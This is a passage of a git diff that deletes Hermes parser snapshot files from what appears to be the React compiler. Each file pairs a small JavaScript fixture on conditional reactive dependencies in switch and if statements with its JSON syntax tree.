@@ -1,434 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch-missing-default.js
----
-Input:
-// props.a.b should NOT be added as a unconditional dependency to the reactive
-// scope that produces x if it is not accessed in the default case.
-
-function TestCondDepInSwitchMissingDefault(props, other) {
-  const x = {};
-  switch (foo(other)) {
-    case 1:
-      x.a = props.a.b;
-      break;
-    case 2:
-      x.b = props.a.b;
-      break;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInSwitchMissingDefault",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          157,
-          190
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            191,
-            196
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            198,
-            203
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    215,
-                    216
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    219,
-                    221
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  215,
-                  221
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              209,
-              222
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  233,
-                  236
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    237,
-                    242
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                233,
-                243
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    256,
-                    257
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            265,
-                            266
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            267,
-                            268
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          265,
-                          268
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              271,
-                              276
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              277,
-                              278
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            271,
-                            278
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            279,
-                            280
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          271,
-                          280
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        265,
-                        280
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      265,
-                      281
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      288,
-                      294
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  251,
-                  294
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    304,
-                    305
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            313,
-                            314
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            315,
-                            316
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          313,
-                          316
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              319,
-                              324
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              325,
-                              326
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            319,
-                            326
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            327,
-                            328
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          319,
-                          328
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        313,
-                        328
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      313,
-                      329
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      336,
-                      342
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  299,
-                  342
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              225,
-              346
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                356,
-                357
-              ]
-            },
-            "loc": null,
-            "range": [
-              349,
-              358
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          205,
-          360
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        148,
-        360
-      ],
-      "loc": null,
-      "range": [
-        148,
-        360
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    148,
-    360
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch.js.snap
deleted file mode 100644
index cf56757b7b67..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-switch.js.snap
+++ /dev/null
@@ -1,543 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-switch.js
----
-Input:
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInSwitch(props, other) {
-  const x = {};
-  switch (foo(other)) {
-    case 1:
-      x.a = props.a.b;
-      break;
-    case 2:
-      x.b = props.a.b;
-      break;
-    default:
-      x.c = props.a.b;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInSwitch",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          168,
-          187
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            188,
-            193
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            195,
-            200
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    212,
-                    213
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    216,
-                    218
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  212,
-                  218
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              206,
-              219
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  230,
-                  233
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    234,
-                    239
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                230,
-                240
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    253,
-                    254
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            262,
-                            263
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            264,
-                            265
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          262,
-                          265
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              268,
-                              273
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              274,
-                              275
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            268,
-                            275
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            276,
-                            277
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          268,
-                          277
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        262,
-                        277
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      262,
-                      278
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      285,
-                      291
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  248,
-                  291
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    301,
-                    302
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            310,
-                            311
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            312,
-                            313
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          310,
-                          313
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              316,
-                              321
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              322,
-                              323
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            316,
-                            323
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            324,
-                            325
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          316,
-                          325
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        310,
-                        325
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      310,
-                      326
-                    ]
-                  },
-                  {
-                    "type": "BreakStatement",
-                    "label": null,
-                    "loc": null,
-                    "range": [
-                      333,
-                      339
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  296,
-                  339
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            359,
-                            360
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            361,
-                            362
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          359,
-                          362
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              365,
-                              370
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              371,
-                              372
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            365,
-                            372
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            373,
-                            374
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          365,
-                          374
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        359,
-                        374
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      359,
-                      375
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  344,
-                  375
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              222,
-              379
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                389,
-                390
-              ]
-            },
-            "loc": null,
-            "range": [
-              382,
-              391
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          202,
-          393
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        159,
-        393
-      ],
-      "loc": null,
-      "range": [
-        159,
-        393
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    159,
-    393
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-no-uncond.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-no-uncond.js.snap
deleted file mode 100644
index ebee25c17ffa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-no-uncond.js.snap
+++ /dev/null
@@ -1,401 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-no-uncond.js
----
-Input:
-// When an object's properties are only read conditionally, we should
-// track the base object as a dependency.
-function TestOnlyConditionalDependencies(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.b = props.a.b;
-    x.c = props.a.b.c;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestOnlyConditionalDependencies",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          121,
-          152
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            153,
-            158
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            160,
-            165
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    177,
-                    178
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    181,
-                    183
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  177,
-                  183
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              171,
-              184
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  191,
-                  194
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    195,
-                    200
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                191,
-                201
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          209,
-                          210
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          211,
-                          212
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        209,
-                        212
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            215,
-                            220
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            221,
-                            222
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          215,
-                          222
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          223,
-                          224
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        215,
-                        224
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      209,
-                      224
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    209,
-                    225
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          230,
-                          231
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          232,
-                          233
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        230,
-                        233
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              236,
-                              241
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              242,
-                              243
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            236,
-                            243
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            244,
-                            245
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          236,
-                          245
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          246,
-                          247
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        236,
-                        247
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      230,
-                      247
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    230,
-                    248
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                203,
-                252
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              187,
-              252
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                262,
-                263
-              ]
-            },
-            "loc": null,
-            "range": [
-              255,
-              264
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          167,
-          266
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        112,
-        266
-      ],
-      "loc": null,
-      "range": [
-        112,
-        266
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    112,
-    266
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-promote-uncond.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-promote-uncond.js.snap
deleted file mode 100644
index defbf3187efc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-promote-uncond.js.snap
+++ /dev/null
@@ -1,421 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-promote-uncond.js
----
-Input:
-// When a conditional dependency `props.a.b.c` has no unconditional dependency
-// in its subpath or superpath, we should find the nearest unconditional access
-// and promote it to an unconditional dependency.
-function TestPromoteUnconditionalAccessToDependency(props, other) {
-  const x = {};
-  x.a = props.a.a.a;
-  if (foo(other)) {
-    x.c = props.a.b.c;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestPromoteUnconditionalAccessToDependency",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          218,
-          260
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            261,
-            266
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            268,
-            273
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    285,
-                    286
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    289,
-                    291
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  285,
-                  291
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              279,
-              292
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    295,
-                    296
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    297,
-                    298
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  295,
-                  298
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        301,
-                        306
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        307,
-                        308
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      301,
-                      308
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      309,
-                      310
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    301,
-                    310
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    311,
-                    312
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  301,
-                  312
-                ]
-              },
-              "loc": null,
-              "range": [
-                295,
-                312
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              295,
-              313
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  320,
-                  323
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    324,
-                    329
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                320,
-                330
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          338,
-                          339
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          340,
-                          341
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        338,
-                        341
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              344,
-                              349
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              350,
-                              351
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            344,
-                            351
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            352,
-                            353
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          344,
-                          353
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          354,
-                          355
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        344,
-                        355
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      338,
-                      355
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    338,
-                    356
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
